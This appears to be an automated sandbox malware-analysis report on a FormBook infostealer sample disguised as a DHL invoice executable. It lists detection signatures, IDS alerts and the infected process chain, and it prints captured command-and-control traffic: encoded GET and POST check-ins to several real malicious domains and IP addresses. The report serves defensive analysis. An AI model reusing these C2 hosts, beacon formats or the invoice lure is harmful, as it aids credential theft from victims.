Windows Analysis Report
COMMERCAIL INVOICE AND DHL AWB TRACKING DETAILS.exe

AI detected suspicious sample

Source: Yara match	File source: 2.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000002.3922241785.0000000000120000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.3924811899.00000000050E0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.3923277416.0000000000BE0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2399645826.0000000005CA0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2398476195.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.3923173605.00000000006E0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.3923233381.0000000002880000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2399183126.0000000003DE0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: COMMERCAIL INVOICE AND DHL AWB TRACKING DETAILS.exe

Joe Sandbox ML: detected

Source: COMMERCAIL INVOICE AND DHL AWB TRACKING DETAILS.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source:	Binary string: OpnFiles.pdb source: svchost.exe, 00000002.00000003.2364267778.0000000003413000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2364326950.000000000342B000.00000004.00000020.00020000.00000000.sdmp, OhOEhutKIH.exe, 00000004.00000003.2620702199.0000000000ACB000.00000004.00000001.00020000.00000000.sdmp, OhOEhutKIH.exe, 00000004.00000002.3922769113.0000000000AB8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: OhOEhutKIH.exe, 00000004.00000002.3922240898.00000000000BE000.00000002.00000001.01000000.00000005.sdmp, OhOEhutKIH.exe, 00000006.00000000.2471631068.00000000000BE000.00000002.00000001.01000000.00000005.sdmp
Source:	Binary string: wntdll.pdbUGP source: COMMERCAIL INVOICE AND DHL AWB TRACKING DETAILS.exe, 00000000.00000003.2085846816.0000000004550000.00000004.00001000.00020000.00000000.sdmp, COMMERCAIL INVOICE AND DHL AWB TRACKING DETAILS.exe, 00000000.00000003.2085288051.00000000046F0000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2304155836.0000000003600000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.2398803157.0000000003B9E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.2398803157.0000000003A00000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2306072077.0000000003800000.00000004.00000020.00020000.00000000.sdmp, openfiles.exe, 00000005.00000003.2403646118.0000000000C91000.00000004.00000020.00020000.00000000.sdmp, openfiles.exe, 00000005.00000003.2401205054.0000000000AED000.00000004.00000020.00020000.00000000.sdmp, openfiles.exe, 00000005.00000002.3923522149.00000000045AE000.00000040.00001000.00020000.00000000.sdmp, openfiles.exe, 00000005.00000002.3923522149.0000000004410000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: COMMERCAIL INVOICE AND DHL AWB TRACKING DETAILS.exe, 00000000.00000003.2085846816.0000000004550000.00000004.00001000.00020000.00000000.sdmp, COMMERCAIL INVOICE AND DHL AWB TRACKING DETAILS.exe, 00000000.00000003.2085288051.00000000046F0000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, svchost.exe, 00000002.00000003.2304155836.0000000003600000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.2398803157.0000000003B9E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.2398803157.0000000003A00000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2306072077.0000000003800000.00000004.00000020.00020000.00000000.sdmp, openfiles.exe, openfiles.exe, 00000005.00000003.2403646118.0000000000C91000.00000004.00000020.00020000.00000000.sdmp, openfiles.exe, 00000005.00000003.2401205054.0000000000AED000.00000004.00000020.00020000.00000000.sdmp, openfiles.exe, 00000005.00000002.3923522149.00000000045AE000.00000040.00001000.00020000.00000000.sdmp, openfiles.exe, 00000005.00000002.3923522149.0000000004410000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: OpnFiles.pdbGCTL source: svchost.exe, 00000002.00000003.2364267778.0000000003413000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2364326950.000000000342B000.00000004.00000020.00020000.00000000.sdmp, OhOEhutKIH.exe, 00000004.00000003.2620702199.0000000000ACB000.00000004.00000001.00020000.00000000.sdmp, OhOEhutKIH.exe, 00000004.00000002.3922769113.0000000000AB8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: svchost.pdb source: openfiles.exe, 00000005.00000002.3922477816.0000000000559000.00000004.00000020.00020000.00000000.sdmp, openfiles.exe, 00000005.00000002.3923928897.0000000004A3C000.00000004.10000000.00040000.00000000.sdmp, OhOEhutKIH.exe, 00000006.00000000.2472431880.0000000002CAC000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000008.00000002.2703036026.000000001E27C000.00000004.80000000.00040000.00000000.sdmp
Source:	Binary string: svchost.pdbUGP source: openfiles.exe, 00000005.00000002.3922477816.0000000000559000.00000004.00000020.00020000.00000000.sdmp, openfiles.exe, 00000005.00000002.3923928897.0000000004A3C000.00000004.10000000.00040000.00000000.sdmp, OhOEhutKIH.exe, 00000006.00000000.2472431880.0000000002CAC000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000008.00000002.2703036026.000000001E27C000.00000004.80000000.00040000.00000000.sdmp

Source: C:\Users\user\Desktop\COMMERCAIL INVOICE AND DHL AWB TRACKING DETAILS.exe	Code function: 0_2_00452126 FindFirstFileW,Sleep,FindNextFileW,FindClose,	0_2_00452126
Source: C:\Users\user\Desktop\COMMERCAIL INVOICE AND DHL AWB TRACKING DETAILS.exe	Code function: 0_2_0045C999 FindFirstFileW,FindNextFileW,FindClose,	0_2_0045C999
Source: C:\Users\user\Desktop\COMMERCAIL INVOICE AND DHL AWB TRACKING DETAILS.exe	Code function: 0_2_00436ADE GetFileAttributesW,FindFirstFileW,FindClose,	0_2_00436ADE
Source: C:\Users\user\Desktop\COMMERCAIL INVOICE AND DHL AWB TRACKING DETAILS.exe	Code function: 0_2_00434BEE FindFirstFileW,FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindClose,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	0_2_00434BEE
Source: C:\Users\user\Desktop\COMMERCAIL INVOICE AND DHL AWB TRACKING DETAILS.exe	Code function: 0_2_0045DD7C FindFirstFileW,FindClose,	0_2_0045DD7C
Source: C:\Users\user\Desktop\COMMERCAIL INVOICE AND DHL AWB TRACKING DETAILS.exe	Code function: 0_2_0044BD29 _wcscat,_wcscat,__wsplitpath,FindFirstFileW,CopyFileW,_wcscpy,_wcscat,_wcscat,lstrcmpiW,DeleteFileW,MoveFileW,CopyFileW,DeleteFileW,CopyFileW,FindClose,MoveFileW,FindNextFileW,FindClose,	0_2_0044BD29
Source: C:\Users\user\Desktop\COMMERCAIL INVOICE AND DHL AWB TRACKING DETAILS.exe	Code function: 0_2_00436D2D FindFirstFileW,CreateFileW,SetFileTime,CloseHandle,SetFileTime,CloseHandle,	0_2_00436D2D
Source: C:\Users\user\Desktop\COMMERCAIL INVOICE AND DHL AWB TRACKING DETAILS.exe	Code function: 0_2_00442E1F SetCurrentDirectoryW,FindFirstFileW,SetCurrentDirectoryW,FindFirstFileW,FindNextFileW,FindClose,FindClose,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	0_2_00442E1F
Source: C:\Users\user\Desktop\COMMERCAIL INVOICE AND DHL AWB TRACKING DETAILS.exe	Code function: 0_2_00475FE5 FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,	0_2_00475FE5
Source: C:\Users\user\Desktop\COMMERCAIL INVOICE AND DHL AWB TRACKING DETAILS.exe	Code function: 0_2_0044BF8D _wcscat,__wsplitpath,FindFirstFileW,_wcscpy,_wcscat,_wcscat,DeleteFileW,FindNextFileW,FindClose,FindClose,	0_2_0044BF8D
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 5_2_0013C2A0 FindFirstFileW,FindNextFileW,FindClose,	5_2_0013C2A0

Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 4x nop then xor eax, eax		5_2_00129BE0
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 4x nop then mov ebx, 00000004h		5_2_00CD04E4

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.5:60294 -> 154.204.174.144:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.5:60402 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.5:60418 -> 217.160.0.93:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:60417 -> 217.160.0.93:80
Source: Network traffic	Suricata IDS: 2856318 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M4 : 192.168.2.5:60417 -> 217.160.0.93:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:60403 -> 199.59.243.227:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.5:60398 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:60384 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:60404 -> 199.59.243.227:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:60405 -> 199.59.243.227:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:60425 -> 209.74.64.189:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:60428 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:60397 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.5:60422 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:60408 -> 43.155.76.124:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:60390 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:60401 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:60424 -> 209.74.64.189:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:60407 -> 43.155.76.124:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:60411 -> 84.32.84.32:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.5:60410 -> 43.155.76.124:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:60413 -> 84.32.84.32:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:60412 -> 84.32.84.32:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.5:60406 -> 199.59.243.227:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:60423 -> 209.74.64.189:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:60416 -> 217.160.0.93:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:60409 -> 43.155.76.124:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:60427 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:60399 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:60415 -> 217.160.0.93:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:60421 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:60400 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.5:60426 -> 209.74.64.189:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:60420 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:60419 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.5:60414 -> 84.32.84.32:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:60429 -> 3.33.130.190:80

Source: Joe Sandbox View	IP Address: 199.59.243.227 199.59.243.227
Source: Joe Sandbox View	IP Address: 84.32.84.32 84.32.84.32

Source: Joe Sandbox View	ASN Name: ANCHGLOBAL-AS-APAnchnetAsiaLimitedHK ANCHGLOBAL-AS-APAnchnetAsiaLimitedHK
Source: Joe Sandbox View	ASN Name: BODIS-NJUS BODIS-NJUS
Source: Joe Sandbox View	ASN Name: LILLY-ASUS LILLY-ASUS
Source: Joe Sandbox View	ASN Name: NTT-LT-ASLT NTT-LT-ASLT

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: C:\Users\user\Desktop\COMMERCAIL INVOICE AND DHL AWB TRACKING DETAILS.exe

Code function: 0_2_0044289D InternetQueryDataAvailable,InternetReadFile,

0_2_0044289D

Source: global traffic	HTTP traffic detected: GET /byug/?dfNhZ=LvKD&Qf=daot1yqA0sfH+KONUjF9hF9KxIdUCROymgGxIYerxsodSW80Yw7JQGC35zuckSas8FRPkylX8MsqYI+8Hz0cWqztja2+Su+68kyxn3iYny23AR/HjwUyUQBMgFhq2oMeHw== HTTP/1.1Host: www.js18456.netAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /5qo7/?Qf=AItRdHIStarSgJFr54MavMegqlpHmxEFjzxzqB36/sm0G2kp9NXBjanhx9IotPFlCRiq6XnmdXy4N5GOjcFlfw1ST0r4x3lNvjQx3kOK6KItSarXN1mZwSCiX1dGL8t8Fw==&dfNhZ=LvKD HTTP/1.1Host: www.wiretap.digitalAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /vn3y/?dfNhZ=LvKD&Qf=4fdprAkJW3t6EugFrrKpOh0jAL9prUCCiVZOwyaX7LMwI5mxlEPHi2pNewAAFSa5SesK+9iUjYEa2ieL4iuLuai/7tsPeEKuo01Pwm69kGjHXqEwpX6I5hZBqJX4K4GQdg== HTTP/1.1Host: www.everyone.golfAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /hezo/?Qf=bKC36uQqTYAW1Z0uXOc3KBFqzGaL5BZKFiqBCDC6/n3apod3QxJOH8RljG7tDR+ZJnSddaKa4mqx0DHccc9oLw4oijXKRmO4QJbET8Dl2ZwK3TY4olCXNmcrQQUcwGDKyQ==&dfNhZ=LvKD HTTP/1.1Host: www.solidarity.rocksAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /mwey/?Qf=MfQfFJDPdY3qb8NLnrdcDJpYPHfxpTXjAJliBdfQUirEsMDdNOfprM6NKVyFnMdsrhyN3Xipksjr8oWhdXIF2gEQlMed9pXONcGbPoRv7NnQr5z0ekoMiegrplNLBBYgwQ==&dfNhZ=LvKD HTTP/1.1Host: www.cdqjey8g.sbsAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /d2v9/?Qf=/BGEsYOqsJqqhDEhAmSoz7XGIyY1zd7NGknPEqdHfHUeoKSHXbOB1S++dlN9q4sVTmPSNjGXnx+XOSNFD4p+i9KPLpYeb7pWe4FqPAWe6yUVfuXBvfRCjBvjuTq8688V8g==&dfNhZ=LvKD HTTP/1.1Host: www.pegji.onlineAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /etyp/?Qf=Dr+g/XG6jtOqCn8/zR8nTbl4ceO03c9kwfdN6eE3C0ioydwbN70LOWdod/pg9bEI1Vuk9miEvgn19d41gPN4rlUX9RrdntYT0gmajM7aDOhndskJXTQ3TCDQE0m22le06w==&dfNhZ=LvKD HTTP/1.1Host: www.ambaolive.infoAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /v4bm/?dfNhZ=LvKD&Qf=UriKCs8IuFFR4TTqdn8mW9qn7tWx6P3ZinlzpjDq4fCyKDrZ4VtGTPVHjKcBdcGNOjebK1rv6kMuP7DU57EHV7fB1Fw6KFne1D6Rug6LMA95ePfrFnRHm3EVt8hGUqlbxg== HTTP/1.1Host: www.cablecarrental.netAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /mnch/?Qf=v8BgWZnTU46XNxSlz+wlrSVbOoZFIyRpq8YSvkRatF7pdr65NJBVncP31ryMv/pPMJWLYh1CVZzl0k3fb3N4w1CZZWRBx0MxE1RuFxwGmdcG7Wvf0YOjoPTL66WOa4bW0g==&dfNhZ=LvKD HTTP/1.1Host: www.martmall.infoAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/537.36

Source: global traffic	DNS traffic detected: DNS query: 206.23.85.13.in-addr.arpa
Source: global traffic	DNS traffic detected: DNS query: www.js18456.net
Source: global traffic	DNS traffic detected: DNS query: www.wiretap.digital
Source: global traffic	DNS traffic detected: DNS query: www.everyone.golf
Source: global traffic	DNS traffic detected: DNS query: www.solidarity.rocks
Source: global traffic	DNS traffic detected: DNS query: www.kmjai8jf.icu
Source: global traffic	DNS traffic detected: DNS query: www.cdqjey8g.sbs
Source: global traffic	DNS traffic detected: DNS query: www.pegji.online
Source: global traffic	DNS traffic detected: DNS query: www.ambaolive.info
Source: global traffic	DNS traffic detected: DNS query: www.cablecarrental.net
Source: global traffic	DNS traffic detected: DNS query: www.martmall.info
Source: global traffic	DNS traffic detected: DNS query: www.ninesquare.games

Source: unknown

HTTP traffic detected: POST /5qo7/ HTTP/1.1Host: www.wiretap.digitalAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Accept-Encoding: gzip, deflate, brOrigin: http://www.wiretap.digitalReferer: http://www.wiretap.digital/5qo7/Content-Type: application/x-www-form-urlencodedCache-Control: max-age=0Connection: closeContent-Length: 203User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/537.36Data Raw: 51 66 3d 4e 4b 46 78 65 78 41 34 6b 59 4c 7a 76 74 4e 50 77 49 38 78 73 63 4c 77 2f 45 45 57 75 51 49 52 7a 41 6f 64 75 47 2b 68 32 62 54 4d 4d 48 68 66 77 2b 54 71 6e 76 48 4e 77 75 35 69 6a 39 6c 6c 48 56 2b 38 77 7a 6d 47 54 32 7a 37 4e 36 57 7a 67 38 78 68 65 44 70 75 53 67 50 79 79 31 4a 58 71 41 67 44 77 30 6d 55 73 4a 63 73 59 49 65 7a 59 46 37 4f 7a 79 4b 38 55 6c 42 6d 4c 64 6f 5a 52 58 57 74 4b 75 6b 79 70 36 70 6e 46 6c 34 6f 42 69 30 71 57 38 54 6f 43 6e 74 66 42 66 6d 44 62 79 37 4a 70 4b 47 52 65 6e 38 50 36 45 5a 2b 31 6a 57 2f 59 36 64 4b 58 62 69 45 38 43 35 4c 7a 31 4c 48 32 51 34 3d Data Ascii: Qf=NKFxexA4kYLzvtNPwI8xscLw/EEWuQIRzAoduG+h2bTMMHhfw+TqnvHNwu5ij9llHV+8wzmGT2z7N6Wzg8xheDpuSgPyy1JXqAgDw0mUsJcsYIezYF7OzyK8UlBmLdoZRXWtKukyp6pnFl4oBi0qW8ToCntfBfmDby7JpKGRen8P6EZ+1jW/Y6dKXbiE8C5Lz1LH2Q4=

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: TengineDate: Tue, 29 Oct 2024 09:03:05 GMTContent-Type: text/html; charset=utf-8Content-Length: 548Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
